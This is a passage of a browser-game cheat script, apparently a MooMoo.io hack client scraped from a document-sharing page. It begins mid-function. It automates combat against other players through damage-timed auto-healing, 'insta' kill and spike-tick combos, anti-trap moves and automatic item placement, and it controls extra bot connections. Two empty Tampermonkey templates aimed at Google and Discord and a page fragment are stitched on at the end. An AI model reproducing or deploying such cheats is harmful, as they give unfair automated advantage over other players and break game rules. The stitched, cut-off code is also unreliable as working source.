}
if (tmpObj.oldSkinIndex == 45 && tmpObj.skinIndex != 45) {
tmpObj.shameTimer = 0;
tmpObj.shameCount = 0;
if (tmpObj == player) {
healer();
}
}
nEy = tmpObj;
if (tmpObj == player) {
if (gameObjects.length) {
gameObjects.forEach((tmp) => {
tmp.onNear = false;
if (tmp.active) {
if (!tmp.onNear && UTILS.getDist(tmp,
tmpObj, 0, 2) <= tmp.scale + items.weapons[tmpObj.weapons[0]].range) {
tmp.onNear = true;
}
if (tmp.isItem && tmp.owner) {
if (!tmp.pps && tmpObj.sid ==
tmp.owner.sid && UTILS.getDist(tmp, tmpObj, 0, 2) >
(parseInt(getEl("breakRange").value) || 0) && !tmp.breakObj && ![13, 14,
20].includes(tmp.id)) {
tmp.breakObj = true;
breakObjects.push({
x: tmp.x,
y: tmp.y,
sid: tmp.sid
});
}
}
}
});
let nearTrap = gameObjects.filter(e => e.trap &&
e.active && UTILS.getDist(e, tmpObj, 0, 2) <= (tmpObj.scale + e.getScale() + 5)
&& !e.isTeamObject(tmpObj)).sort(function(a, b) {
return UTILS.getDist(a, tmpObj, 0, 2) -
UTILS.getDist(b, tmpObj, 0, 2);
})[0];
if (nearTrap) {
traps.dist = UTILS.getDist(nearTrap, tmpObj, 0,
2);
traps.aim = UTILS.getDirect(nearTrap, tmpObj,
0, 2);
if (!traps.inTrap) {
traps.protect(traps.aim);
}
traps.inTrap = true;
traps.info = nearTrap;
console.log(traps.info)
} else {
traps.inTrap = false;
traps.info = {};
}
} else {
traps.inTrap = false;
}
}
if (tmpObj.weaponIndex < 9) {
tmpObj.primaryIndex = tmpObj.weaponIndex;
tmpObj.primaryVariant = tmpObj.weaponVariant;
} else if (tmpObj.weaponIndex > 8) {
tmpObj.secondaryIndex = tmpObj.weaponIndex;
tmpObj.secondaryVariant = tmpObj.weaponVariant;
}
}
i += 13;
}
if (waitTicks.length) {
waitTicks.forEach((ajaj) => {
ajaj();
}
);
waitTicks = [];
}
if (runAtNextTick.length) {
runAtNextTick.forEach((tmp) => {
checkProjectileHolder(...tmp);
}
);
runAtNextTick = [];
}
if (textManager.stack.length) {
let stacks = [];
let notstacks = [];
let num = 0;
let num2 = 0;
let pos = {
x: null,
y: null
};
let pos2 = {
x: null,
y: null
}
textManager.stack.forEach((text) => {
if (text.value >= 0) {
if (num == 0) pos = {
x: text.x,
y: text.y
};
num += Math.abs(text.value);
} else {
if (num2 == 0) pos2 = {
x: text.x,
y: text.y
};
num2 += Math.abs(text.value);
}
});
if (num2 > 0) {
textManager.showText(pos2.x, pos2.y, Math.max(43,
Math.min(50, num2)), 0.18, 1500, num2, damageTextColor = " #8fbc8f");
}
if (num > 0) {
textManager.showText(pos.x, pos.y, Math.max(43,
Math.min(50, num)), 0.18, 1500, num, damageTextColor = " #8fbc8f");
}
textManager.stack = [];
}
if (runAtNextTick.length) {
runAtNextTick.forEach((tmp) => {
checkProjectileHolder(...tmp);
});
runAtNextTick = [];
}
for (let i = 0; i < data.length;) {
tmpObj = findPlayerBySID(data[i]);
if (tmpObj) {
if (!tmpObj.isTeam(player)) {
enemy.push(tmpObj);
if (tmpObj.dist2 <= items.weapons[tmpObj.primaryIndex
== undefined ? 5 : tmpObj.primaryIndex].range + (player.scale * 2)) {
nears.push(tmpObj);
}
}
tmpObj.manageReload();
if (tmpObj != player) {
tmpObj.addDamageThreat(player);
}
}
i += 13;
}
/*projectiles.forEach((proj) => {
tmpObj = proj;
if (tmpObj.active) {
tmpObj.tickUpdate(game.tickSpeed);
}
});*/
if (player && player.alive) {
if (!(clicks.middle || clicks.left || clicks.right) && !
my.waitHit && !traps.inTrap && musketSync && insat1) {
spinner = true;
} else {
spinner = false;
}
if (enemy.length) {
if (player && player.alive){
placeableSpikes = getPlaceablePositions(player,
items.list[player.items[2]]);
placeableTraps = player.items[4] == 15 ?
getPlaceablePositions(player, items.list[player.items[4]]) : [];
}

near = enemy.sort(function(tmp1, tmp2) {


return tmp1.dist2 - tmp2.dist2;
})[0];
}
if (game.tickQueue[game.tick]) {
game.tickQueue[game.tick].forEach((action) => {
action();
});
game.tickQueue[game.tick] = null;
}
if (advHeal.length) {
advHeal.forEach((updHealth) => {
let sid = updHealth[0];
let value = updHealth[1];
let totalDamage = 100 - value
let damaged = updHealth[2];
tmpObj = findPlayerBySID(sid);
let bullTicked = false;
if (tmpObj && tmpObj.health <= 0) {
if (!tmpObj.death) {
tmpObj.death = true;
if (tmpObj != player) {
addChatLog(tmpObj.name + " has died",
"#db2727", "", "#db2727");
}
addDeadPlayer(tmpObj);
}
}
if (tmpObj == player) {
if (tmpObj.skinIndex == 7 && (damaged == 5 ||
(tmpObj.latestTail == 13 && damaged == 2))) {
if (my.reSync) {
my.reSync = false;
tmpObj.setBullTick = true;
}
bullTicked = true;
}
if (inGame) {
let attackers = getAttacker(damaged);
let gearDmgs = [0.25, 0.45].map((val) => val *
items.weapons[player.weapons[0]].dmg * soldierMult());
let includeSpikeDmgs = enemy.length ? !
bullTicked && (gearDmgs.includes(damaged) && near.skinIndex == 11) : false;
let healTimeout = 140
let dmg = 100 - player.health;
let slowHeal = function (timer, tickBase) {
if (!tickBase) {
setTimeout(() => {
healer();
}, timer);
} else {
game.tickBase(() => {
healer()
}, 2)
}
}
if (getEl("healingBeta").checked) {
if (enemy.length) {
if ([0, 7,
8].includes(near.primaryIndex)) {
if (damaged < 75) {
slowHeal(healTimeout)
} else {
healer()
}
}
if ([1, 2,
6].includes(near.primaryIndex)) {
if (damaged >= 25 &&
player.damageThreat + dmg >= 95 && tmpObj.shameCount < 5) {
healer()
} else {
slowHeal(healTimeout)
}
}
if (near.primaryIndex == 3) {
if (near.secondaryIndex == 15) {
if (near.primaryVariant < 2) {
if (damaged >= 35 &&
player.damageThreat + dmg >= 95 && tmpObj.shameCount < 5 && game.tick -
player.antiTimer > 1) {
tmpObj.canEmpAnti =
true
tmpObj.antiTimer =
game.tick
healer()
} else {
slowHeal(healTimeout)
}
} else {
if (damaged > 35 &&
player.damageThreat + dmg >= 95 && tmpObj.shameCount < 5 && game.tick -
player.antiTimer > 1) {
tmpObj.canEmpAnti =
true
tmpObj.antiTimer =
game.tick
healer()
} else {
slowHeal(healTimeout)
}
}
} else {
if (damaged >= 25 &&
player.damageThreat + dmg >= 95 && tmpObj.shameCount < 4) {
healer()
} else {
slowHeal(healTimeout)
}
}
}
if (near.primaryIndex == 4) {
if (near.primaryVariant >= 1) {
if (damaged >= 10 &&
player.damageThreat + dmg >= 95 && tmpObj.shameCount < 4) {
healer()
} else {
slowHeal(healTimeout)
}
} else {
if (damaged >= 35 &&
player.damageThreat + dmg >= 95 && tmpObj.shameCount < 3) {
healer()
} else {
slowHeal(healTimeout)
}
}
}
if ([undefined,
5].includes(near.primaryIndex)) {
if (near.secondaryIndex == 10) {
if (dmg >= (includeSpikeDmgs ?
10 : 20) && tmpObj.damageThreat + dmg >= 80 && tmpObj.shameCount < 6) {
healer()
} else {
slowHeal(healTimeout)
}
} else
if (near.primaryVariant >= 2 ||
near.primaryVariant == undefined) {
if (dmg >=
(includeSpikeDmgs ? 15 : 20) && tmpObj.damageThreat + dmg >= 50 &&
tmpObj.shameCount < 6) {
healer()
} else {
slowHeal(healTimeout)
}
} else
if ([undefined ||
15].includes(near.secondaryIndex)) {
if (damaged >
(includeSpikeDmgs ? 8 : 20) && player.damageThreat >= 25 && (game.tick -
player.antiTimer) > 1) {
if
(tmpObj.shameCount < 5) {
healer()
} else {

slowHeal(healTimeout)
}
} else {

slowHeal(healTimeout)
}
} else
if ([9, 12,
13].includes(near.secondaryIndex)) {
if (dmg >= 25 &&
player.damageThreat + dmg >= 70 && tmpObj.shameCount < 6) {
healer()
} else {

slowHeal(healTimeout)
}
} else {
if (damaged > 25 &&
player.damageThreat + dmg >= 95) {
healer()
} else {

slowHeal(healTimeout)
}
}
}
if (near.primaryIndex == 6) {
if (near.secondaryIndex == 15) {
if (damaged >= 25 &&
tmpObj.damageThreat + dmg >= 95 && tmpObj.shameCount < 4) {
healer()
} else {
slowHeal(healTimeout)
}
} else {
if (damaged >= 70 &&
tmpObj.shameCount < 4) {
healer()
} else {
slowHeal(healTimeout)
}
}
}
if (damaged >= 30 &&
near.reloads[near.secondaryIndex] == 0 && near.dist2 <= 150 && player.skinIndex ==
11 && player.tailIndex == 21) instaC.canCounter = true
} else {
if (damaged >= 70) {
healer()
} else {
slowHeal(healTimeout)
}
}
} else {
if (damaged >= (includeSpikeDmgs ? 8 : 25)
&& dmg + player.damageThreat >= 80 && (game.tick - player.antiTimer) > 1) {
if (tmpObj.reloads[53] == 0 &&
tmpObj.reloads[tmpObj.weapons[1]] == 0) {
tmpObj.canEmpAnti = true;
} else {
player.soldierAnti = true;
}
tmpObj.antiTimer = game.tick;
let shame = [0, 4, 6, 7,
8].includes(near.primaryIndex) ? 2 : 5;
if (tmpObj.shameCount < shame) {
healer();
} else {
if (near.primaryIndex == 7 ||
(player.weapons[0] == 7 && (near.skinIndex == 11 || near.tailIndex == 21))) {
slowHeal(healTimeout)
} else {
slowHeal(healTimeout, 1)
}
}
} else {
if (near.primaryIndex == 7 ||
(player.weapons[0] == 7 && (near.skinIndex == 11 || near.tailIndex == 21))) {
slowHeal(healTimeout)
} else {
slowHeal(healTimeout, 1)
}
}
if (damaged >= 25 && near.dist2 <= 140 &&
player.skinIndex == 11 && player.tailIndex == 21) instaC.canCounter = true
}
} else {
if (!tmpObj.setPoisonTick && (tmpObj.damaged ==
5 || (tmpObj.latestTail == 13 && tmpObj.damaged == 2))) {
tmpObj.setPoisonTick = true;
}
}
}
});
advHeal = [];
}
players.forEach((tmp) => {
if (!tmp.visible && player != tmp) {
tmp.reloads = {
0: 0,
1: 0,
2: 0,
3: 0,
4: 0,
5: 0,
6: 0,
7: 0,
8: 0,
9: 0,
10: 0,
11: 0,
12: 0,
13: 0,
14: 0,
15: 0,
53: 0,
};
}
if (tmp.setBullTick) {
tmp.bullTimer = 0;
}
if (tmp.setPoisonTick) {
tmp.poisonTimer = 0;
}
tmp.updateTimer();
});
if (inGame) {
if (enemy.length) {
console.log(tmpObj.damageThreat)
if (player.canEmpAnti) {
player.canEmpAnti = false;
if (near.dist2 <= 300 && !my.safePrimary(near) && !
my.safeSecondary(near)) {
if (near.reloads[53] == 0) {
player.empAnti = true;
player.soldierAnti = false;

} else {
player.empAnti = false;
player.soldierAnti = true;
//modLog("SoldierAnti");
}
}
}
let prehit = gameObjects.filter(tmp => tmp.dmg &&
tmp.active && tmp.isTeamObject(player) && UTILS.getDist(tmp, near, 0, 3) <=
(tmp.scale + near.scale)).sort(function(a, b) {
return UTILS.getDist(a, near, 0, 2) -
UTILS.getDist(b, near, 0, 2);
})[0];
if (prehit) {
if (near.dist2 <=
items.weapons[player.weapons[0]].range + player.scale * 1.8 && configs.predictTick)
{
instaC.canSpikeTick = true;
instaC.syncHit = true;
if (configs.revTick && player.weapons[1] == 15
&& player.reloads[53] == 0 && instaC.perfCheck(player, near)) {
instaC.revTick = true;
}
}
}
let antiSpikeTick = gameObjects.filter(tmp => tmp.dmg
&& tmp.active && !tmp.isTeamObject(player) && UTILS.getDist(tmp, player, 0, 3) <
(tmp.scale + player.scale)).sort(function(a, b) {
return UTILS.getDist(a, player, 0, 2) -
UTILS.getDist(b, player, 0, 2);
})[0];
let moreantiSpikeTick = traps.checkSpikeTick()
if (antiSpikeTick && !traps.inTrap) {
if (near.dist2 <= items.weapons[5].range +
near.scale * 1.8) {
my.anti0Tick = 1;
}
}
if (moreantiSpikeTick) {
my.anti0Tick = 4;
}
}
if ((!useWasd ? true : ((player.checkCanInsta(true) >=
100 ? player.checkCanInsta(true) : player.checkCanInsta(false)) >=
(player.weapons[1] == 10 ? 95 : 100))) && near.dist2 <=
items.weapons[player.weapons[1] == 10 ? player.weapons[1] :
player.weapons[0]].range + near.scale * 1.8 && (instaC.wait || (!useWasd &&
Math.floor(Math.random() * 5) == 0)) && !instaC.isTrue && !my.waitHit &&
player.reloads[player.weapons[0]] == 0 && player.reloads[player.weapons[1]] == 0 &&
(!useWasd ? true : getEl("instaType").value == "oneShot" ? (player.reloads[53] <=
(player.weapons[1] == 10 ? 0 : game.tickRate)) : true) && instaC.perfCheck(player,
near) && rKeyPressed) {
if (player.checkCanInsta(true) >= 100) {
instaC.nobull = !useWasd ? false :
instaC.canSpikeTick ? false : true;
} else {
instaC.nobull = false;
}
instaC.can = true;
} else {
instaC.can = false;
}
macro.q && place(0, getAttackDir());
macro.f && place(4, getSafeDir());
macro.v && place(2, getSafeDir());
macro.y && place(5, getSafeDir());
macro.h && place(player.getItemType(22), getSafeDir());
macro.n && place(3, getSafeDir());
if (game.tick % 3 == 0) {
if (mills.place) {
let plcAng = 1.25;
for (let i = -plcAng; i <= plcAng; i += plcAng) {
checkPlace(3, UTILS.getDirect(player.oldPos,
player, 2, 2) + i);
}
} else {
if (mills.placeSpawnPads) {
for (let i = 0; i < Math.PI * 2; i += Math.PI /
2) {
checkPlace(player.getItemType(20),
UTILS.getDirect(player.oldPos, player, 2, 2) + i);
}
}
}
} else {
traps.autoPlace();
}
if (instaC.can) {
instaC.changeType((configs.revTick || player.weapons[1]
== 10) ? "rev" : getEl("backupNobull").checked ? "nobull" : "normal");
}
if (instaC.canCounter) {
instaC.canCounter = false;
if (player.reloads[player.weapons[0]] == 0 && !
instaC.isTrue) {
if (player.secondaryIndex != 10)
instaC.counterType();
else instaC.hammerCounterType()
}
}
if (instaC.canSpikeTick) {
instaC.canSpikeTick = false;
if (instaC.revTick) {
instaC.revTick = false;
if ([1, 2, 3, 4, 5, 6].includes(player.weapons[0])
&& player.reloads[player.weapons[1]] == 0 && !instaC.isTrue) {
instaC.changeType("rev");
}
} else {
if ([1, 2, 3, 4, 5, 6].includes(player.weapons[0])
&& player.reloads[player.weapons[0]] == 0 && !instaC.isTrue) {
instaC.spikeTickType();
if (instaC.syncHit) {
}
}
}
}
if (!clicks.middle && (clicks.left || clicks.right) && !
instaC.isTrue) {
if ((player.weaponIndex != (clicks.right &&
player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0])) ||
player.buildIndex > -1) {
selectWeapon(clicks.right && player.weapons[1] ==
10 ? player.weapons[1] : player.weapons[0]);
}
if (player.reloads[clicks.right && player.weapons[1] ==
10 ? player.weapons[1] : player.weapons[0]] == 0 && !my.waitHit) {
sendAutoGather();
my.waitHit = 1;
game.tickBase(() => {
sendAutoGather();
my.waitHit = 0;
}, 1);
}
}
if (useWasd && !clicks.left && !clicks.right && !
instaC.isTrue && near.dist2 <= (items.weapons[player.weapons[0]].range + near.scale
* 1.8) && !traps.inTrap) {
if ((player.weaponIndex != player.weapons[0]) ||
player.buildIndex > -1) {
selectWeapon(player.weapons[0]);
}
if (player.reloads[player.weapons[0]] == 0 && !
my.waitHit) {
sendAutoGather();
my.waitHit = 1;
game.tickBase(() => {
sendAutoGather();
my.waitHit = 0;
}, 1);
}
}
if (traps.inTrap) {
if (!clicks.left && !clicks.right && !instaC.isTrue) {
if (player.weaponIndex != (traps.notFast() ?
player.weapons[1] : player.weapons[0]) || player.buildIndex > -1) {
selectWeapon(traps.notFast() ?
player.weapons[1] : player.weapons[0]);
}
if (player.reloads[traps.notFast() ?
player.weapons[1] : player.weapons[0]] == 0 && !my.waitHit) {
sendAutoGather();
my.waitHit = 1;
game.tickBase(() => {
sendAutoGather();
my.waitHit = 0;
}, 1);
}
}
}
if (clicks.middle && !traps.inTrap) {
if (!instaC.isTrue && player.reloads[player.weapons[1]]
== 0) {
if (my.ageInsta && player.weapons[0] != 4 &&
player.weapons[1] == 9 && player.age >= 9 && enemy.length) {
instaC.rangeType();
}
}
}
if (macro.T && !traps.inTrap) {
if (!instaC.isTrue && player.reloads[player.weapons[0]]
== 0 && (player.weapons[1] == 15 ? (player.reloads[player.weapons[1]] == 0) : true)
&& (player.weapons[0] == 5 || (player.weapons[0] == 4 && player.weapons[1] == 15)))
{
instaC[(player.weapons[0] == 4 && player.weapons[1]
== 15) ? "kmTickMovement" : "tickMovement"]();
}
}
if (macro["."] && !traps.inTrap) {
if (!instaC.isTrue && player.reloads[player.weapons[0]]
== 0 && ([9, 12, 13, 15].includes(player.weapons[1]) ?
(player.reloads[player.weapons[1]] == 0) : true)) {
instaC.boostTickMovement();
}
}
if (player.weapons[1] && !clicks.left && !clicks.right && !
traps.inTrap && !instaC.isTrue && !(useWasd && near.dist2 <=
items.weapons[player.weapons[0]].range + near.scale * 1.8)) {
if (player.reloads[player.weapons[0]] == 0 &&
player.reloads[player.weapons[1]] == 0) {
if (!my.reloaded) {
my.reloaded = true;
let fastSpeed =
items.weapons[player.weapons[0]].spdMult < items.weapons[player.weapons[1]].spdMult
? 1 : 0;
if (player.weaponIndex !=
player.weapons[fastSpeed] || player.buildIndex > -1) {
selectWeapon(player.weapons[fastSpeed]);
}
}
} else {
my.reloaded = false;
if (player.reloads[player.weapons[0]] > 0) {
if (player.weaponIndex != player.weapons[0] ||
player.buildIndex > -1) {
selectWeapon(player.weapons[0]);
}
} else if (player.reloads[player.weapons[0]] == 0
&& player.reloads[player.weapons[1]] > 0) {
if (player.weaponIndex != player.weapons[1] ||
player.buildIndex > -1) {
selectWeapon(player.weapons[1]);
}
}
}
}
if (!macro.q && !macro.f && !macro.v && !macro.h && !
macro.n) {
packet("D", getAttackDir());
}
let hatChanger = function() {
if (my.anti0Tick > 0) {
buyEquip(6, 0);
} else {
if (clicks.left || clicks.right) {
if (((!enemy.length || near.dist2 >= 200) &&
player.shameCount > 0 && player.skinIndex != 45) || my.reSync) {
buyEquip(7, 0);
} else {
if (clicks.left) {

buyEquip(player.reloads[player.weapons[0]] == 0 ? getEl("weaponGrind").checked ? 40
: 7 : player.empAnti ? 22 : player.soldierAnti ? 6 : (getEl("antiBullType").value
== "abreload" && near.antiBull > 0) ? 11 : near.dist2 <= 300 ?
(getEl("antiBullType").value == "abalway" && near.reloads[near.primaryIndex] ==
0) ? 11 : 6 : biomeGear(1, 1), 0);
} else if (clicks.right) {
buyEquip(player.reloads[clicks.right &&
player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0]] == 0 ? 40 :
player.empAnti ? 22 : player.soldierAnti ? 6 : (getEl("antiBullType").value ==
"abreload" && near.antiBull > 0) ? 11 : near.dist2 <= 300 ?
(getEl("antiBullType").value == "abalway" && near.reloads[near.primaryIndex] ==
0) ? 11 : 6 : biomeGear(1, 1), 0);
}
}
} else if (traps.inTrap) {
if (traps.info.health <=
items.weapons[player.weaponIndex].dmg ? false : (player.reloads[player.weapons[1]
== 10 ? player.weapons[1] : player.weapons[0]] == 0)) {
buyEquip(40, 0);
} else {
if (((!enemy.length || near.dist2 >= 200)
&& player.shameCount > 0 && player.skinIndex != 45) || my.reSync) {
buyEquip(7, 0);
} else {
buyEquip((player.empAnti || near.dist2
> 300 || !enemy.length) ? 22 : 6, 0);
}
}
} else {
if (player.empAnti || player.soldierAnti) {
buyEquip(player.empAnti ? 22 : 6, 0);
} else {
if (((!enemy.length || near.dist2 >= 200)
&& player.shameCount > 0 && player.skinIndex != 45) || my.reSync) {
buyEquip(7, 0);
} else {
if (player.y2 >= config.mapScale / 2 -
config.riverWidth / 2 && player.y2 <= config.mapScale / 2 + config.riverWidth / 2)
{
if (!configs.alwaysFlipper) {
if (near.dist2 <= 300) {
buyEquip((getEl("antiBullType").value == "abreload" && near.antiBull > 0) ? 11 :
(getEl("antiBullType").value == "abalway" && near.reloads[near.primaryIndex] ==
0) ? 11 : 6, 0);
} else {
biomeGear(1);
}
} else {
biomeGear(1);
}
} else {
if (near.dist2 <= 300) {

buyEquip((getEl("antiBullType").value == "abreload" && near.antiBull > 0) ? 11 :


(getEl("antiBullType").value == "abalway" && near.reloads[near.primaryIndex] ==
0) ? 11 : 6, 0);
} else {
biomeGear(1);
}
}
}
}
}
}
}
let accChanger = function() {
if (clicks.left) {
buyEquip(21, 1);
} else if (clicks.right) {
buyEquip(21, 1)
} else if (traps.inTrap) {
buyEquip(21, 1);
} else if (near.dist2 < 300){
buyEquip(21, 1);
} else {
buyEquip(11, 1);
}
};
if (storeMenu.style.display != "block" && !instaC.isTrue &&
!instaC.ticking) {
hatChanger();
accChanger();
}
if (configs.autoPush && enemy.length && !traps.inTrap && !
instaC.ticking) {
autoPush();
} else {
if (my.autoPush) {
my.autoPush = false;
packet("a", lastMoveDir || undefined, 1);
}
}
if (!my.autoPush && pathFind.active) {
Pathfinder();
}
if (instaC.ticking) {
instaC.ticking = false;
}
if (instaC.syncHit) {
instaC.syncHit = false;
}
if (player.empAnti) {
player.empAnti = false;
}
if (player.soldierAnti) {
player.soldierAnti = false;
}
if (my.anti0Tick > 0) {
game.tickBase(() => {
my.anti0Tick--;
},1)
}
if (traps.retrap) {
traps.retrap = false;
}
if (traps.replaced) {
traps.replaced = false;
}
if (traps.antiTrapped) {
traps.antiTrapped = false;
}
}
}
botSkts.forEach((bot) => {
bot.showName = 'YEAHHH'
})
if (botSkts.length) {
botSkts.forEach((bots) => {
if (true) {
const randomNumber = Math.floor(Math.random() * (951) +
50);
const showName = randomNumber + 'ms';
bots[0].showName = showName;
}
});
}
}
for(var i1 = 0; i1 < gameObjects.length; i1++) {
if (gameObjects[i1].active && gameObjects[i1].health > 0 &&
UTILS.getDist(gameObjects[i1], player, 0, 2) < 150) { // ||
gameObjects[i1].buildHealth <= items.weapons[nearEnemy.weaponIndex].dmg)

if(gameObjects[i1].name.includes("spike") && gameObjects[i1]){


if(gameObjects[i1].owner.sid != player.sid && clicks.left
== false && tmpObj.reloads[tmpObj.secondaryIndex] == 0){
selectWeapon(player.weapons[1])
buyEquip(40, 0);
packet("D", UTILS.getDirect(gameObjects[i1], player, 0,
2))
setTickout( () => {
buyEquip(6, 0)
}, 1);
}
}
}
if (botSkts.length) {
botSkts.forEach((bots) => {
if (true) {
bots[0].ssend("player", player, near, botIDS);
}
});
}
}
// GLOBAL VALUES:
let ping = 0
let allChats = [];
let ais = [];
let players = [];
let alliances = [];
let alliancePlayers = [];
let allianceNotifications = [];
let gameObjects = [];
let projectiles = [];
let deadPlayers = [];
let breakObjects = [];
let player;
let playerSID;
let tmpObj;
var judgeAtNextTick = false
let enemy = [];
//let perfectReplace = [];
let nears = [];
let near = [];
let rKeyPressed = false
let my = {
reloaded: false,
waitHit: 0,
autoAim: false,
revAim: false,
ageInsta: true,
reSync: false,
bullTick: 0,
anti0Tick: 0,
antiSync: false,
safePrimary: function(tmpObj) {
return [0, 8].includes(tmpObj.primaryIndex);
},
safeSecondary: function(tmpObj) {
return [10, 11, 14].includes(tmpObj.secondaryIndex);
},
lastDir: 0,
autoPush: false,
pushData: {}
}
// PREPLACER
let closestBuild = [];

function findTargetBuildToSpike(checkSpike, trapDistance,


targetDistance, targetAngle) {
if (!document.getElementById('sp').checked) return;
if (!enemy.length) return;

// En yakın inşa edilebilir nesneyi bul


closestBuild = gameObjects.filter(obj => obj.active &&
obj.buildHealth)
.sort((a, b) => UTILS.getDist(a, player, 0, 2) -
UTILS.getDist(b, player, 0, 2))[0];
if (!closestBuild) return;

// Parametreleri ayarla (büyük ihtimalle mesafe, açı gibi)


checkSpike = 250;
trapDistance = 250;
targetDistance = UTILS.getDist(closestBuild, player, 0, 2);
targetAngle = UTILS.getDirect(closestBuild, player, 0, 2);

// Spike atma koşullarını kontrol et


if (player.alive && targetDistance < checkSpike &&
near.dist2 < trapDistance &&
!traps.in && !instaC.isTrue && !instaC.canSpikeTick
&& !clicks.middle && !clicks.left) {

// Hedefin canı yeterince düşükse...


if (closestBuild.buildHealth <
items.weapons[player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0]].dmg
* 2) {

if (document.getElementById('stype').value == "D")
{
// D tuşu stiline göre spike yerleştir
for (let i = 0; i < 6; i++) {
let angle = i + 45 * (i % 2 ? -1 : 1) / 180
* Math.PI + near.aim2;
checkPlace(2, i);
}
} else {
// Farklı bir spike stili
for (let i = 0; i < 4; i++) {
let angle = i + 45 * (i % 2 ? -1 : 1) / 180
* Math.PI + near.aim2;
checkPlace(2, i);
}
}
}
}
}
// ==UserScript==
// @name New Userscript
// @namespace http://tampermonkey.net/
// @version 2024-10-02
// @description try to take over the world!
// @author You
// @match https://www.google.com/search?
q=chat+emoji&oq=chat+emoji&gs_lcrp=EgZjaHJvbWUyBggAEEUYOdIBCDExMzBqMGo3qAIAsAIA&sou
rceid=chrome&ie=UTF-8
// @icon https://www.google.com/s2/favicons?sz=64&domain=google.com
// @grant none
// ==/UserScript==

(function() {
'use strict';

// Your code here...


})();// ==UserScript==
// @name New Userscript
// @namespace http://tampermonkey.net/
// @version 2024-10-02
// @description try to take over the world!
// @author You
// @match
https://discord.com/channels/1290657850007228417/1290689290967322625
// @icon https://www.google.com/s2/favicons?sz=64&domain=discord.com
// @grant none
// ==/UserScript==

(function() {
'use strict';

// Your code here...


})();

You might also like